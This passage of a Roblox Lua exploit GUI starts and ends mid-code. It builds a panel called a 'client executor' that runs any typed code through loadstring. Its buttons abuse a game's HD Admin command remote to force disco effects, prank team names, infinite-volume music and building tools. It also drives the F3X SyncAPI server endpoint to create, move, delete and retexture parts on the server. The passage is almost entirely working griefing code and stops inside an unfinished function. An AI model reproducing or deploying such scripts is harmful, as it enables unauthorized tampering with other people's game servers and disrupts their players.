		TextButton_8.Position = UDim2.new(0.788982093, 0, 0, 0)
		TextButton_8.Size = UDim2.new(0, 35, 0, 24)
		TextButton_8.Font = Enum.Font.SourceSans
		TextButton_8.Text = "-"
		TextButton_8.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextButton_8.TextScaled = true
		TextButton_8.TextSize = 14.000
		TextButton_8.TextWrapped = true
	
		ScrollingFrame.Parent = Frame
		ScrollingFrame.Active = true
		ScrollingFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ScrollingFrame.BorderColor3 = Color3.fromRGB(182, 182, 182)
		ScrollingFrame.Position = UDim2.new(0.0120481923, 0, 0.15625, 0)
		ScrollingFrame.Size = UDim2.new(0, 371, 0, 215)
	
		TextBox.Parent = ScrollingFrame
		TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextBox.BorderColor3 = Color3.fromRGB(182, 182, 182)
		TextBox.Size = UDim2.new(0, 371, 0, 800)
		TextBox.ClearTextOnFocus = false
		TextBox.Font = Enum.Font.SourceSans
		TextBox.PlaceholderColor3 = Color3.fromRGB(0, 170, 0)
		TextBox.PlaceholderText = "Game with ServerScriptService -LoadstringEnabled is on only, and this is client executor"
		TextBox.Text = ""
		TextBox.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextBox.TextSize = 11.000
		TextBox.TextWrapped = true
		TextBox.TextXAlignment = Enum.TextXAlignment.Left
		TextBox.TextYAlignment = Enum.TextYAlignment.Top
	
		ImageLabel.Parent = ScreenGui
		ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		ImageLabel.BackgroundTransparency = 1.000
		ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
		ImageLabel.BorderSizePixel = 0
		ImageLabel.Position = UDim2.new(0, 0, 0.814814806, 0)
		ImageLabel.Size = UDim2.new(0, 100, 0, 100)
		ImageLabel.Image = "rbxassetid://99156048430349"
	
		-- Scripts:
	
		local function XCDTATE_fake_script() -- TextButton.LocalScript 
			local script = Instance.new('LocalScript', TextButton)
	
			local button = script.Parent
			local frame = button.Parent -- Looks up to find the Frame containing the button
	
			button.MouseButton1Click:Connect(function()
				frame:Destroy()
			end)
	
		end
		coroutine.wrap(XCDTATE_fake_script)()
		local function UOFEA_fake_script() -- TextButton_4.LocalScript 
			local script = Instance.new('LocalScript', TextButton_4)
	
			local button = script.Parent
			local textBox = button.Parent:WaitForChild("TextBox")
	
			button.MouseButton1Click:Connect(function()
				local code = textBox.Text
				if code ~= "" then
					-- loadstring returns a function and an optional error message
					local func, compileError = loadstring(code)
	
					if func then
						-- If compilation succeeded, run it safely inside a pcall
						local success, runtimeError = pcall(func)
						if not success then
							warn("Runtime Error: " .. tostring(runtimeError))
						end
					else
						warn("Syntax Error: " .. tostring(compileError))
					end
				end
			end)
		end
		coroutine.wrap(UOFEA_fake_script)()
		local function TTVHCS_fake_script() -- TextButton_5.LocalScript 
			local script = Instance.new('LocalScript', TextButton_5)
	
			local button = script.Parent
			-- Adjust this path depending on where your TextBox is located
			local textBox = button.Parent:WaitForChild("TextBox") 
	
			local function onButtonClicked()
				textBox.Text = "" -- Clears the text
			end
	
			button.MouseButton1Click:Connect(onButtonClicked)
		end
		coroutine.wrap(TTVHCS_fake_script)()
		local function BKMXTZ_fake_script() -- Frame.Smooth GUI Dragging 
			local script = Instance.new('LocalScript', Frame)
	
			local UserInputService = game:GetService("UserInputService")
			local runService = (game:GetService("RunService"));
	
			local gui = script.Parent
	
			local dragging
			local dragInput
			local dragStart
			local startPos
	
			function Lerp(a, b, m)
				return a + (b - a) * m
			end;
	
			local lastMousePos
			local lastGoalPos
			local DRAG_SPEED = (8); -- // The speed of the UI darg.
			function Update(dt)
				if not (startPos) then return end;
				if not (dragging) and (lastGoalPos) then
					gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED))
					return 
				end;
	
				local delta = (lastMousePos - UserInputService:GetMouseLocation())
				local xGoal = (startPos.X.Offset - delta.X);
				local yGoal = (startPos.Y.Offset - delta.Y);
				lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
				gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED))
			end;
	
			gui.InputBegan:Connect(function(input)
				if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
					dragging = true
					dragStart = input.Position
					startPos = gui.Position
					lastMousePos = UserInputService:GetMouseLocation()
	
					input.Changed:Connect(function()
						if input.UserInputState == Enum.UserInputState.End then
							dragging = false
						end
					end)
				end
			end)
	
			gui.InputChanged:Connect(function(input)
				if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
					dragInput = input
				end
			end)
	
			runService.Heartbeat:Connect(Update)
	
		end
		coroutine.wrap(BKMXTZ_fake_script)()
		local function JUYMZ_fake_script() -- ImageLabel.LocalScript 
			local script = Instance.new('LocalScript', ImageLabel)
	
			while true do
				script.Parent.Rotation = script.Parent.Rotation + 1
				wait()
			end
		end
		coroutine.wrap(JUYMZ_fake_script)()
		local function GMHK_fake_script() -- ImageLabel.Smooth GUI Dragging 
			local script = Instance.new('LocalScript', ImageLabel)
	
			local UserInputService = game:GetService("UserInputService")
			local runService = (game:GetService("RunService"));
	
			local gui = script.Parent
	
			local dragging
			local dragInput
			local dragStart
			local startPos
	
			function Lerp(a, b, m)
				return a + (b - a) * m
			end;
	
			local lastMousePos
			local lastGoalPos
			local DRAG_SPEED = (8); -- // The speed of the UI darg.
			function Update(dt)
				if not (startPos) then return end;
				if not (dragging) and (lastGoalPos) then
					gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED))
					return 
				end;
	
				local delta = (lastMousePos - UserInputService:GetMouseLocation())
				local xGoal = (startPos.X.Offset - delta.X);
				local yGoal = (startPos.Y.Offset - delta.Y);
				lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
				gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED))
			end;
	
			gui.InputBegan:Connect(function(input)
				if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
					dragging = true
					dragStart = input.Position
					startPos = gui.Position
					lastMousePos = UserInputService:GetMouseLocation()
	
					input.Changed:Connect(function()
						if input.UserInputState == Enum.UserInputState.End then
							dragging = false
						end
					end)
				end
			end)
	
			gui.InputChanged:Connect(function(input)
				if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
					dragInput = input
				end
			end)
	
			runService.Heartbeat:Connect(Update)
	
		end
		coroutine.wrap(GMHK_fake_script)()
	
	end)
end;
task.spawn(C_1f);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_21()
local script = G2L["21"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
		RequestCommand:InvokeServer(";disco")
	end)
end;
task.spawn(C_21);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_23()
local script = G2L["23"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
		RequestCommand:InvokeServer(";createteam red SONion")
		RequestCommand:InvokeServer(";createteam blue mrc00lnoob was here")
		RequestCommand:InvokeServer(";createteam db LUA")
		RequestCommand:InvokeServer(";createteam green god")
		RequestCommand:InvokeServer(";createteam dg mario")
		RequestCommand:InvokeServer(";createteam pk black")
		RequestCommand:InvokeServer(";createteam p How many districts are there in Hong Kong?")
		RequestCommand:InvokeServer(";createteam y GG guyss")
		RequestCommand:InvokeServer(";createteam o wat did i say")
		RequestCommand:InvokeServer(";createteam black Good!")
		RequestCommand:InvokeServer(";createteam white Bad!")
	
	end)
end;
task.spawn(C_23);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_25()
local script = G2L["25"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
		local player = game.Players.LocalPlayer
		local replicatedStorage = game:GetService("ReplicatedStorage")
	
	
		local screenGui = Instance.new("ScreenGui")
		screenGui.Name = "e"
		screenGui.Parent = player:WaitForChild("PlayerGui")
		screenGui.ResetOnSpawn = false
	
	
		local mainFrame = Instance.new("Frame")
		mainFrame.Size = UDim2.new(0, 515, 0, 960)
		mainFrame.Position = UDim2.new(0.5, -300, 0.5, -225)
		mainFrame.BackgroundColor3 = Color3.new(0, 0, 0)
		mainFrame.BorderSizePixel = 3
		mainFrame.BorderColor3 = Color3.new(0, 0, 1)
		mainFrame.Active = true
		mainFrame.Draggable = true
		mainFrame.Parent = screenGui
	
	
		local titleLabel = Instance.new("TextLabel")
		titleLabel.Size = UDim2.new(1, 0, 0, 40)
		titleLabel.Position = UDim2.new(0, 0, 0, 0)
		titleLabel.BackgroundColor3 = Color3.new(0, 0, 0)
		titleLabel.BorderSizePixel = 1
		titleLabel.BorderColor3 = Color3.new(0, 0, 1)
		titleLabel.Font = Enum.Font.JosefinSans
		titleLabel.Text = "B2S gui reborn"
		titleLabel.TextColor3 = Color3.new(1, 1, 1)
		titleLabel.TextSize = 30
		titleLabel.Parent = mainFrame
	
		local titleLabel = Instance.new("TextLabel")
		titleLabel.Size = UDim2.new(1, 0, 0, 40)
		titleLabel.Position = UDim2.new(0, 0, 0.05, 1)
		titleLabel.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
		titleLabel.BorderSizePixel = 0
		titleLabel.BorderColor3 = Color3.new(0, 0, 1)
		titleLabel.Font = Enum.Font.Roboto
		titleLabel.Text = "music"
		titleLabel.TextColor3 = Color3.new(1, 1, 1)
		titleLabel.TextSize = 30
		titleLabel.Parent = mainFrame
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.1, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Theme"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 1846368080")
			RequestCommand:InvokeServer(";pitch 0.9")
			RequestCommand:InvokeServer(";volume inf")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.1, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "wont stop us"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 1847661821")
			RequestCommand:InvokeServer(";pitch 0.9")
			RequestCommand:InvokeServer(";volume inf")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.1, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Spooky Scary Skeletons"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 17
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 77484784570543")
			RequestCommand:InvokeServer(";pitch 0.1")
			RequestCommand:InvokeServer(";volume inf")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.1, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "raining men "
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 17
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 104497567166761")
			RequestCommand:InvokeServer(";volume inf")
			RequestCommand:InvokeServer(";pitch 0.27")
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.14, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "jumpstyle"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 1839246711")
			RequestCommand:InvokeServer(";pitch 0.8")
			RequestCommand:InvokeServer(";volume inf")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.14, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "electro sp00k"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 99986264226275")
			RequestCommand:InvokeServer(";pitch 0.2")
			RequestCommand:InvokeServer(";volume inf")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.14, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "hardstyle"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 1839246774")
			RequestCommand:InvokeServer(";volume inf")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.14, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Sp00ky dubstep"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 118324869664952")
			RequestCommand:InvokeServer(";volume inf")
			RequestCommand:InvokeServer(";pitch 1.26")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.18, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "nuke siren"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 6525690145")
			RequestCommand:InvokeServer(";volume inf")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.18, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "1x1x1x1"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 139488665764275")
			RequestCommand:InvokeServer(";volume inf")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.18, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "red sun"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 121922837560201")
			RequestCommand:InvokeServer(";volume inf")
			RequestCommand:InvokeServer(";pitch 0.3")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.18, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "sky high"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";music 96507001292089")
			RequestCommand:InvokeServer(";pitch 0.65")
			RequestCommand:InvokeServer(";volume inf")
	
		end)
	
		local titleLabel = Instance.new("TextLabel")
		titleLabel.Size = UDim2.new(1, 0, 0, 40)
		titleLabel.Position = UDim2.new(0, 0, 0.25, 1)
		titleLabel.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
		titleLabel.BorderSizePixel = 0
		titleLabel.BorderColor3 = Color3.new(0, 0, 1)
		titleLabel.Font = Enum.Font.Roboto
		titleLabel.Text = "F3X Scripts"
		titleLabel.TextColor3 = Color3.new(1, 1, 1)
		titleLabel.TextSize = 30
		titleLabel.Parent = mainFrame
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.3, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Get F3X"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
	
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
			RequestCommand:InvokeServer(";btools")
			RequestCommand:InvokeServer(";give me b")
			RequestCommand:InvokeServer(";give me F3X")
	
		end)
	
		local scriptbyblue2spooky = Instance.new("TextButton")
		scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
		scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.3, 0)
		scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
		scriptbyblue2spooky.BorderSizePixel = 1
		scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
		scriptbyblue2spooky.Font = Enum.Font.Roboto
		scriptbyblue2spooky.Text = "Sky"
		scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
		scriptbyblue2spooky.TextSize = 20
		scriptbyblue2spooky.TextWrapped = true
		scriptbyblue2spooky.Parent = mainFrame
	
		scriptbyblue2spooky.MouseButton1Click:Connect(function()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local tool
			for i,v in player:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			for i,v in game.ReplicatedStorage:GetDescendants() do
				if v.Name == "SyncAPI" then
					tool = v.Parent
				end
			end
			--craaa
			remote = tool.SyncAPI.ServerEndpoint
			function _(args)
				remote:InvokeServer(unpack(args))
			end
			function SetCollision(part,boolean)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = boolean
						}
					}
				}
				_(args)
			end
			function SetAnchor(boolean,part)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = boolean
						}
					}
				}
				_(args)
			end
			function CreatePart(cf,parent)
				local args = {
					[1] = "CreatePart",
					[2] = "Normal",
					[3] = cf,
					[4] = parent
				}
				_(args)
			end
			function DestroyPart(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}
				_(args)
			end
			function MovePart(part,cf)
				local args = {
					[1] = "SyncMove",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf
						}
					}
				}
				_(args)
			end
			function Resize(part,size,cf)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cf,
							["Size"] = size
						}
					}
				}
				_(args)
			end
			function AddMesh(part)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				_(args)
			end
	
			function SetMesh(part,meshid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://"..meshid
						}
					}
				}
				_(args)
			end
			function SetTexture(part, texid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = "rbxassetid://"..texid
						}
					}
				}
				_(args)
			end
			function SetName(part, stringg)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = stringg
				}
	
				_(args)
			end
			function MeshResize(part,size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = size
						}
					}
				}
				_(args)
			end
			function Weld(part1, part2,lead)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = part1,
						[2] = part2
					},
					[3] = lead
				}
				_(args)
	
			end
			function SetLocked(part,boolean)
				local args = {
					[1] = "SetLocked",
					[2] = {
						[1] = part
					},
					[3] = boolean
				}
				_(args)
			end
			function SetTrans(part,int)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = int
						}
					}
				}
				_(args)
			end
			function CreateSpotlight(part)
				local args = {
					[1] = "CreateLights",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight"
						}
					}
				}
				_(args)
			end
			function SyncLighting(part,brightness)
				local args = {
					[1] = "SyncLighting",
					[2] = {
						[1] = {
							["Part"] = part,
							["LightType"] = "SpotLight",
							["Brightness"] = brightness
						}
					}
				}
				_(args)
			end
			function Color(part,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Color"] = color --[[Color3]],
							["UnionColoring"] = false
						}
					}
				}
				_(args)
			end
			function SpawnDecal(part,side)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal"
						}
					}
				}
	
				_(args)
			end
			function AddDecal(part,asset,side)
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = side,
							["TextureType"] = "Decal",
							["Texture"] = "rbxassetid://".. asset
						}
					}
				}
				_(args)
			end
	
			function Sky(id)
				e = char.HumanoidRootPart.CFrame.x
				f = char.HumanoidRootPart.CFrame.y
				g = char.HumanoidRootPart.CFrame.z
